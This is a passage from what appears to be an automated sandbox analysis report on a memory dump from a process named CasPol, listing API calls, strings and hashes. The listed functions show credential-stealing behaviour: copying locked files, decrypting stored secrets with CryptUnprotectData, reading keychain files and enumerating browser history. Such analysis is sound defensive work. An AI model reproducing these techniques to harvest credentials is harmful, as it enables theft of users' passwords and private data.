                                                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 00445D56
                                                                                                                                                                                                  • memset.MSVCRT ref: 00445B82
                                                                                                                                                                                                    • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B71C
                                                                                                                                                                                                    • Part of subcall function 0040B6EF: wcsrchr.MSVCRT ref: 0040B738
                                                                                                                                                                                                    • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B756
                                                                                                                                                                                                    • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B7F5
                                                                                                                                                                                                    • Part of subcall function 0040B6EF: CreateFileW.KERNELBASE(00445FAE,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040B80C
                                                                                                                                                                                                    • Part of subcall function 0040ADD4: wcscmp.MSVCRT ref: 0040ADF3
                                                                                                                                                                                                    • Part of subcall function 0040ADD4: wcscmp.MSVCRT ref: 0040AE04
                                                                                                                                                                                                  • memset.MSVCRT ref: 00445986
                                                                                                                                                                                                    • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                                                                                                                                    • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                                                                                                                                    • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                                                                                                                                    • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                                                                                                                                    • Part of subcall function 00409B98: GetFileAttributesW.KERNELBASE(?,00445E12,?,?,?,00000104), ref: 00409B9C
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: memset$wcslen$File$wcscmpwcsrchr$??2@??3@AddressAttributesCloseCreateFolderHandlePathProcSizeSpecial_wcsicmp_wcslwrmemcpywcscatwcscpywcsncmp
                                                                                                                                                                                                  • String ID: *.*$Apple Computer\Preferences\keychain.plist
                                                                                                                                                                                                  • API String ID: 4101496090-3798722523
                                                                                                                                                                                                  • Opcode ID: 54cd37d9fea90df649edfac64ca330d920c47cac007ddae39c26186bf891e53c
                                                                                                                                                                                                  • Instruction ID: 0d822d17a5609fa1e1b699618fc72e24fb48bc28b5d87ede4d5502c71e25afa2
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 54cd37d9fea90df649edfac64ca330d920c47cac007ddae39c26186bf891e53c
                                                                                                                                                                                                  • Instruction Fuzzy Hash: ED4278B29005196BEB10E761DD46EDFB37CEF45358F1001ABF508A2193EB385E948B9A
                                                                                                                                                                                                  Function 0041276D Relevance: 35.1, APIs: 17, Strings: 3, Instructions: 149COMMON
                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 004044A4: LoadLibraryW.KERNEL32(comctl32.dll), ref: 004044C3
                                                                                                                                                                                                    • Part of subcall function 004044A4: GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 004044D5
                                                                                                                                                                                                    • Part of subcall function 004044A4: FreeLibrary.KERNEL32(00000000), ref: 004044E9
                                                                                                                                                                                                    • Part of subcall function 004044A4: MessageBoxW.USER32(00000001,Error: Cannot load the common control classes.,Error,00000030), ref: 00404514
                                                                                                                                                                                                  • SetErrorMode.KERNELBASE(00008001), ref: 00412799
                                                                                                                                                                                                  • GetModuleHandleW.KERNEL32(00000000,0041493C,00000000), ref: 004127B2
                                                                                                                                                                                                  • EnumResourceTypesW.KERNEL32(00000000), ref: 004127B9
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Library$AddressEnumErrorFreeHandleLoadMessageModeModuleProcResourceTypes
                                                                                                                                                                                                  • String ID: $/deleteregkey$/savelangfile
                                                                                                                                                                                                  • API String ID: 2744995895-28296030
                                                                                                                                                                                                  • Opcode ID: 72338f9f39f0fed86814d702f01b1d2779e3084bd08ead6f54537fd18a2fe269
                                                                                                                                                                                                  • Instruction ID: bb1d383b9f388563dc7403a66819e695bb2bbb53a4e653fbe84b6d7681309d95
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 72338f9f39f0fed86814d702f01b1d2779e3084bd08ead6f54537fd18a2fe269
                                                                                                                                                                                                  • Instruction Fuzzy Hash: FC51BEB1608346ABD710AFA6DD88A9F77ECFF81304F40092EF644D2161D778E8558B2A
                                                                                                                                                                                                  Function 0040B6EF Relevance: 30.1, APIs: 15, Strings: 2, Instructions: 388fileCOMMON
                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • memset.MSVCRT ref: 0040B71C
                                                                                                                                                                                                    • Part of subcall function 00409C70: wcscpy.MSVCRT ref: 00409C75
                                                                                                                                                                                                    • Part of subcall function 00409C70: wcsrchr.MSVCRT ref: 00409C7D
                                                                                                                                                                                                  • wcsrchr.MSVCRT ref: 0040B738
                                                                                                                                                                                                  • memset.MSVCRT ref: 0040B756
                                                                                                                                                                                                  • memset.MSVCRT ref: 0040B7F5
                                                                                                                                                                                                  • CreateFileW.KERNELBASE(00445FAE,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040B80C
                                                                                                                                                                                                  • CopyFileW.KERNEL32(00445FAE,?,00000000), ref: 0040B82D
                                                                                                                                                                                                  • CloseHandle.KERNELBASE(00000000), ref: 0040B838
                                                                                                                                                                                                  • memset.MSVCRT ref: 0040B851
                                                                                                                                                                                                  • memset.MSVCRT ref: 0040B8CA
                                                                                                                                                                                                  • memcmp.MSVCRT ref: 0040B9BF
                                                                                                                                                                                                    • Part of subcall function 00404423: GetProcAddress.KERNEL32(?,00000000,00000141,?,00000000,?,004026E9,?,?,00000000,?), ref: 00404453
                                                                                                                                                                                                    • Part of subcall function 00404423: FreeLibrary.KERNEL32(00000000,00000141,?,00000000,?,004026E9,?,?,00000000,?), ref: 00404476
                                                                                                                                                                                                    • Part of subcall function 00404423: CryptUnprotectData.CRYPT32(?,00000000,?,00000000,00000000,?,?,?,00000000,?,004026E9,?,?,00000000,?), ref: 00404498
                                                                                                                                                                                                  • DeleteFileW.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0040BAE5
                                                                                                                                                                                                  • memset.MSVCRT ref: 0040BB53
                                                                                                                                                                                                  • memcpy.MSVCRT(?,00000000,?,00000000,00000000,?), ref: 0040BB66
                                                                                                                                                                                                  • LocalFree.KERNEL32(00000000,?,?,?,00000000,00000000,?), ref: 0040BB8D
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: memset$File$Freewcsrchr$AddressCloseCopyCreateCryptDataDeleteHandleLibraryLocalProcUnprotectmemcmpmemcpywcscpy
                                                                                                                                                                                                  • String ID: chp$v10
                                                                                                                                                                                                  • API String ID: 1297422669-2783969131
                                                                                                                                                                                                  • Opcode ID: 0f77db0472bd63cf26258024439ab2a975461d6804070ba6b678b1f2ee2b0392
                                                                                                                                                                                                  • Instruction ID: 8b5aa87907ec6e815121f1c024adfc7170cbdef62e19f7af032d1a0a82a34a86
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 0f77db0472bd63cf26258024439ab2a975461d6804070ba6b678b1f2ee2b0392
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 32D17372900218AFEB11EB95DC41EEE77B8EF44304F1044BAF509B7191DB789F858B99
                                                                                                                                                                                                  Function 00413D4C Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 142processlibraryloaderCOMMON
                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 0040B633: free.MSVCRT ref: 0040B63A
                                                                                                                                                                                                  • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00413D6A
                                                                                                                                                                                                  • memset.MSVCRT ref: 00413D7F
                                                                                                                                                                                                  • Process32FirstW.KERNEL32(00000000,?), ref: 00413D9B
                                                                                                                                                                                                  • OpenProcess.KERNEL32(00000410,00000000,?,?,?,?), ref: 00413DE0
                                                                                                                                                                                                  • memset.MSVCRT ref: 00413E07
                                                                                                                                                                                                  • GetModuleHandleW.KERNEL32(kernel32.dll,00000000,?), ref: 00413E3C
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,QueryFullProcessImageNameW), ref: 00413E56
                                                                                                                                                                                                  • QueryFullProcessImageNameW.KERNEL32(00000000,00000000,?,00000104,00000000,?), ref: 00413E77
                                                                                                                                                                                                  • CloseHandle.KERNELBASE(?), ref: 00413EA8
                                                                                                                                                                                                  • free.MSVCRT ref: 00413EC1
                                                                                                                                                                                                  • Process32NextW.KERNEL32(00000000,0000022C), ref: 00413F0A
                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 00413F1A
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Handle$CloseProcessProcess32freememset$AddressCreateFirstFullImageModuleNameNextOpenProcQuerySnapshotToolhelp32
                                                                                                                                                                                                  • String ID: QueryFullProcessImageNameW$kernel32.dll
                                                                                                                                                                                                  • API String ID: 3536422406-1740548384
                                                                                                                                                                                                  • Opcode ID: d01459b62e4562fe598c3dda65fe2a12e31c3c57d7bea03f0a3dc75513a8eb61
                                                                                                                                                                                                  • Instruction ID: a891ebf292d3308fa7e32b9fbc5d589fb36fb38cf1b6cbdc37d41f3709903cdc
                                                                                                                                                                                                  • Opcode Fuzzy Hash: d01459b62e4562fe598c3dda65fe2a12e31c3c57d7bea03f0a3dc75513a8eb61
                                                                                                                                                                                                  • Instruction Fuzzy Hash: B4518FB2C00218ABDB10DF5ACC84ADEF7B9AF95305F1041ABE509A3251D7795F84CFA9
                                                                                                                                                                                                  Function 0040E01E Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 120fileCOMMON
                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 0040DD85: memset.MSVCRT ref: 0040DDAD
                                                                                                                                                                                                    • Part of subcall function 0040DD85: CreateFileW.KERNELBASE(?,80000000,00000003,00000000,00000003,00000000,00000000), ref: 0040DDD4
                                                                                                                                                                                                    • Part of subcall function 0040DD85: NtQuerySystemInformation.NTDLL(00000010,00000104,00001000,00000000,?,000000FF,00000000,00000104), ref: 0040DE15
                                                                                                                                                                                                    • Part of subcall function 0040DD85: CloseHandle.KERNELBASE(C0000004), ref: 0040DE3E
                                                                                                                                                                                                    • Part of subcall function 0040DD85: GetCurrentProcessId.KERNEL32(?,000000FF,00000000,00000104), ref: 0040DE49
                                                                                                                                                                                                    • Part of subcall function 0040DD85: _wcsicmp.MSVCRT ref: 0040DEB2
                                                                                                                                                                                                    • Part of subcall function 0040AFCF: ??2@YAPAXI@Z.MSVCRT ref: 0040AFD8
                                                                                                                                                                                                  • OpenProcess.KERNEL32(00000040,00000000,00000000,00000104,?,00000000,00000104,?,00000000,00000104,00000000), ref: 0040E093
                                                                                                                                                                                                  • GetCurrentProcess.KERNEL32(?,80000000,00000000,00000000), ref: 0040E0B2
                                                                                                                                                                                                  • DuplicateHandle.KERNEL32(?,00000104,00000000), ref: 0040E0BF
                                                                                                                                                                                                  • GetFileSize.KERNEL32(?,00000000), ref: 0040E0D4
                                                                                                                                                                                                    • Part of subcall function 00409A45: GetTempPathW.KERNEL32(00000104,?), ref: 00409A5C
                                                                                                                                                                                                    • Part of subcall function 00409A45: GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00409A6E
                                                                                                                                                                                                    • Part of subcall function 00409A45: GetTempFileNameW.KERNELBASE(?,0040B827,00000000,?), ref: 00409A85
                                                                                                                                                                                                    • Part of subcall function 004096DC: CreateFileW.KERNELBASE(00000001,40000000,00000001,00000000,00000002,00000000,00000000), ref: 004096EE
                                                                                                                                                                                                  • CreateFileMappingW.KERNELBASE(?,00000000,00000002,00000000,00000000,00000000), ref: 0040E0FE
                                                                                                                                                                                                  • MapViewOfFile.KERNELBASE(00000000,00000004,00000000,00000000,00000104), ref: 0040E113
                                                                                                                                                                                                  • WriteFile.KERNELBASE(00000000,00000000,00000104,0040E6A3,00000000), ref: 0040E12E
                                                                                                                                                                                                  • UnmapViewOfFile.KERNELBASE(00000000), ref: 0040E135
                                                                                                                                                                                                  • CloseHandle.KERNELBASE(?), ref: 0040E13E
                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 0040E143
                                                                                                                                                                                                  • CloseHandle.KERNEL32(?), ref: 0040E148
                                                                                                                                                                                                  • CloseHandle.KERNEL32(?), ref: 0040E14D
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: File$Handle$Close$CreateProcess$CurrentTempView$??2@DirectoryDuplicateInformationMappingNameOpenPathQuerySizeSystemUnmapWindowsWrite_wcsicmpmemset
                                                                                                                                                                                                  • String ID: bhv
                                                                                                                                                                                                  • API String ID: 4234240956-2689659898
                                                                                                                                                                                                  • Opcode ID: c96677cf1f2b88af9f6f98c954d74ea01aac065ab95576d822b7ccb478d5ef78
                                                                                                                                                                                                  • Instruction ID: 69536691d8562172d0558c987aea6dfe4ed17d6a9a6de0cf2c6621a9a97a0e87
                                                                                                                                                                                                  • Opcode Fuzzy Hash: c96677cf1f2b88af9f6f98c954d74ea01aac065ab95576d822b7ccb478d5ef78
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 15412775800218FBCF119FA6CC489DFBFB9FF09750F148466F504A6250D7748A50CBA8
                                                                                                                                                                                                  Function 00413F4F Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 29libraryloaderCOMMON
                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                  control_flow_graph 560 413f4f-413f52 561 413fa5 560->561 562 413f54-413f5a call 40a804 560->562 564 413f5f-413fa4 GetProcAddress * 5 562->564 564->561
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 0040A804: memset.MSVCRT ref: 0040A824
                                                                                                                                                                                                    • Part of subcall function 0040A804: GetSystemDirectoryW.KERNEL32(0045DE68,00000104,?,?,?), ref: 0040A841
                                                                                                                                                                                                    • Part of subcall function 0040A804: wcscpy.MSVCRT ref: 0040A854
                                                                                                                                                                                                    • Part of subcall function 0040A804: wcscat.MSVCRT ref: 0040A86A
                                                                                                                                                                                                    • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(00000000), ref: 0040A87B
                                                                                                                                                                                                    • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(?), ref: 0040A884
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,psapi.dll,00000000,00413F2F,00000000,00413E1F,00000000,?), ref: 00413F6F
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(?,EnumProcessModules), ref: 00413F7B
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(?,GetModuleFileNameExW), ref: 00413F87
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(?,EnumProcesses), ref: 00413F93
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(?,GetModuleInformation), ref: 00413F9F
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: AddressProc$LibraryLoad$DirectorySystemmemsetwcscatwcscpy
                                                                                                                                                                                                  • String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$GetModuleFileNameExW$GetModuleInformation$psapi.dll
                                                                                                                                                                                                  • API String ID: 2941347001-70141382
                                                                                                                                                                                                  • Opcode ID: 5f55386481140187343ab1ab8adea668b022a311609f89b9ad52cbba2c200a76
                                                                                                                                                                                                  • Instruction ID: 7b3d606b7d389a8205b465373562f67d85acf78e859b2fe1c5436fc88fb80995
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 5f55386481140187343ab1ab8adea668b022a311609f89b9ad52cbba2c200a76
                                                                                                                                                                                                  • Instruction Fuzzy Hash: BBF03470840340AECB706F769809E06BEF0EFD8B097318C2EE6C557291E3BD9098DE48
                                                                                                                                                                                                  Function 004466F4 Relevance: 18.1, APIs: 12, Instructions: 134COMMON
                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                  control_flow_graph 565 4466f4-44670e call 446904 GetModuleHandleA 568 446710-44671b 565->568 569 44672f-446732 565->569 568->569 570 44671d-446726 568->570 571 44675b-4467aa __set_app_type __p__fmode __p__commode call 4153f2 569->571 573 446747-44674b 570->573 574 446728-44672d 570->574 578 4467ac-4467b7 __setusermatherr 571->578 579 4467b8-44680e call 4468f0 _initterm __wgetmainargs _initterm 571->579 573->569 577 44674d-44674f 573->577 574->569 576 446734-44673b 574->576 576->569 580 44673d-446745 576->580 581 446755-446758 577->581 578->579 584 446810-446819 579->584 585 44681e-446825 579->585 580->581 581->571 586 4468d8-4468dd call 44693d 584->586 587 446827-446832 585->587 588 44686c-446870 585->588 591 446834-446838 587->591 592 44683a-44683e 587->592 589 446845-44684b 588->589 590 446872-446877 588->590 596 446853-446864 GetStartupInfoW 589->596 597 44684d-446851 589->597 590->588 591->587 591->592 592->589 594 446840-446842 592->594 594->589 598 446866-44686a 596->598 599 446879-44687b 596->599 597->594 597->596 600 44687c-446894 GetModuleHandleA call 41276d 598->600 599->600 603 446896-446897 exit 600->603 604 44689d-4468d6 _cexit 600->604 603->604 604->586
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: HandleModule_initterm$InfoStartup__p__commode__p__fmode__set_app_type__setusermatherr__wgetmainargs_cexitexit
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 2827331108-0
                                                                                                                                                                                                  • Opcode ID: ac973ed8bce866ca224172ea4b7a237c44716a7d542afe8b7082d44fa5742df9
                                                                                                                                                                                                  • Instruction ID: 0e3254bf032efe29fc581ce6ca9889a5a3d5d0d8e47fd2ea34fa35870f4f4cb9
                                                                                                                                                                                                  • Opcode Fuzzy Hash: ac973ed8bce866ca224172ea4b7a237c44716a7d542afe8b7082d44fa5742df9
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 9D51C474C41314DFEB21AF65D8499AD7BB0FB0A715F21452BE82197291D7788C82CF1E
                                                                                                                                                                                                  Function 0040C274 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 112COMMON
                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • memset.MSVCRT ref: 0040C298
                                                                                                                                                                                                    • Part of subcall function 00414C2E: SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000,?,00000000), ref: 00414C68
                                                                                                                                                                                                    • Part of subcall function 0040E5ED: memset.MSVCRT ref: 0040E60F
                                                                                                                                                                                                    • Part of subcall function 0040E5ED: memset.MSVCRT ref: 0040E629
                                                                                                                                                                                                    • Part of subcall function 0040AFCF: ??2@YAPAXI@Z.MSVCRT ref: 0040AFD8
                                                                                                                                                                                                  • FindFirstUrlCacheEntryW.WININET(visited:,?,80000001), ref: 0040C30D
                                                                                                                                                                                                  • wcschr.MSVCRT ref: 0040C324
                                                                                                                                                                                                  • wcschr.MSVCRT ref: 0040C344
                                                                                                                                                                                                  • FindNextUrlCacheEntryW.WININET(?,?,80000001), ref: 0040C369
                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 0040C373
                                                                                                                                                                                                  • FindNextUrlCacheEntryW.WININET(?,?,80000001), ref: 0040C39F
                                                                                                                                                                                                  • FindCloseUrlCache.WININET(?), ref: 0040C3B0
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: CacheFind$Entrymemset$Nextwcschr$??2@CloseErrorFirstFolderLastPathSpecial
                                                                                                                                                                                                  • String ID: visited:
                                                                                                                                                                                                  • API String ID: 2470578098-1702587658
                                                                                                                                                                                                  • Opcode ID: e6e827466474dba504c602eadc9ccabadb05f86476a5423d269347cfbfdac146
                                                                                                                                                                                                  • Instruction ID: 6629d855392f08d41decd2a192e4b6579142cf3eaa95f33c860a05aa0b18639b
                                                                                                                                                                                                  • Opcode Fuzzy Hash: e6e827466474dba504c602eadc9ccabadb05f86476a5423d269347cfbfdac146
                                                                                                                                                                                                  • Instruction Fuzzy Hash: DA417F71D00219ABDB10EF92DC85AEFBBB8FF45714F10416AE904F7281D7389A45CBA9
                                                                                                                                                                                                  Function 0040E175 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 91COMMON
                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                  control_flow_graph 631 40e175-40e1a1 call 40695d call 406b90 636 40e1a7-40e1e5 memset 631->636 637 40e299-40e2a8 call 4069a3 631->637 639 40e1e8-40e1fa call 406e8f 636->639 643 40e270-40e27d call 406b53 639->643 644 40e1fc-40e219 call 40dd50 * 2 639->644 643->639 649 40e283-40e286 643->649 644->643 655 40e21b-40e21d 644->655 652 40e291-40e294 call 40aa04 649->652 653 40e288-40e290 free 649->653 652->637 653->652 655->643 656 40e21f-40e235 call 40742e 655->656 656->643 659 40e237-40e242 call 40aae3 656->659 659->643 662 40e244-40e26b _snwprintf call 40a8d0 659->662 662->643
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 00406B90: _wcsicmp.MSVCRT ref: 00406BC1
                                                                                                                                                                                                  • memset.MSVCRT ref: 0040E1BD
                                                                                                                                                                                                    • Part of subcall function 00406E8F: memset.MSVCRT ref: 00406F8B
                                                                                                                                                                                                  • free.MSVCRT ref: 0040E28B
                                                                                                                                                                                                    • Part of subcall function 0040DD50: _wcsicmp.MSVCRT ref: 0040DD69
                                                                                                                                                                                                    • Part of subcall function 0040AAE3: wcslen.MSVCRT ref: 0040AAF2
                                                                                                                                                                                                    • Part of subcall function 0040AAE3: _memicmp.MSVCRT ref: 0040AB20
                                                                                                                                                                                                  • _snwprintf.MSVCRT ref: 0040E257
                                                                                                                                                                                                    • Part of subcall function 0040A8D0: wcslen.MSVCRT ref: 0040A8E2
                                                                                                                                                                                                    • Part of subcall function 0040A8D0: free.MSVCRT ref: 0040A908
                                                                                                                                                                                                    • Part of subcall function 0040A8D0: free.MSVCRT ref: 0040A92B
                                                                                                                                                                                                    • Part of subcall function 0040A8D0: memcpy.MSVCRT(?,?,000000FF,00000000,?,?,00000000,?,0040320A,00000000,000000FF), ref: 0040A94F
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: free$_wcsicmpmemsetwcslen$_memicmp_snwprintfmemcpy
                                                                                                                                                                                                  • String ID: $ContainerId$Container_%I64d$Containers$Name
                                                                                                                                                                                                  • API String ID: 2804212203-2982631422
                                                                                                                                                                                                  • Opcode ID: 3292a8bc8b2a8f6d115ff62c82a82f0362dff8113198451487ff657a70090be0
                                                                                                                                                                                                  • Instruction ID: de93d03617a61f3aa6bbe184beafcfad76b4f566d35596b706efacabd7485ccb
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 3292a8bc8b2a8f6d115ff62c82a82f0362dff8113198451487ff657a70090be0
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 74318272D002196ADF10EFA6DC45ADEB7B8AF04344F1105BFE508B3191DB38AE598F99
                                                                                                                                                                                                  Function 0040BB98 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 145COMMON
                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 0040CC26: GetFileSize.KERNEL32(00000000,00000000,000003FF,?,00000000,0040B7D4,?,?,?,?,000003FF,?,?,?,00445FAE,?), ref: 0040CC44
                                                                                                                                                                                                    • Part of subcall function 0040CC26: CloseHandle.KERNELBASE(?), ref: 0040CC98
                                                                                                                                                                                                    • Part of subcall function 0040CCF0: _wcsicmp.MSVCRT ref: 0040CD2A
                                                                                                                                                                                                  • memset.MSVCRT ref: 0040BC75
                                                                                                                                                                                                  • memset.MSVCRT ref: 0040BC8C
                                                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(00000000,00000000,0044E518,000000FF,?,00000FFF,00000000,00000000,?,?,?,0040B7D4,?,?), ref: 0040BCA8
                                                                                                                                                                                                  • memcmp.MSVCRT ref: 0040BCD6
                                                                                                                                                                                                  • memcpy.MSVCRT(00000024,?,00000020,?,00000000,00000000,?,?,?,?,?,?,?,0040B7D4), ref: 0040BD2B
                                                                                                                                                                                                  • LocalFree.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,0040B7D4), ref: 0040BD3D
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: memset$ByteCharCloseFileFreeHandleLocalMultiSizeWide_wcsicmpmemcmpmemcpy
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 115830560-3916222277
                                                                                                                                                                                                  • Opcode ID: 2c6b40c8534ef55c53201c5afea9c0c191c5eda6ef18d79290db5ec64fa84378
                                                                                                                                                                                                  • Instruction ID: 00a8249a540342db609c93f8c1f67c79963b4134db5221072d0e6ece1bb2d715
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 2c6b40c8534ef55c53201c5afea9c0c191c5eda6ef18d79290db5ec64fa84378
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 3F41B372900219ABDB10ABA5CC85ADEB7ACEF04314F01057BB509F7292D7789E45CA99
                                                                                                                                                                                                  Function 0041837F Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 140fileCOMMON
                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                  • Not Executed
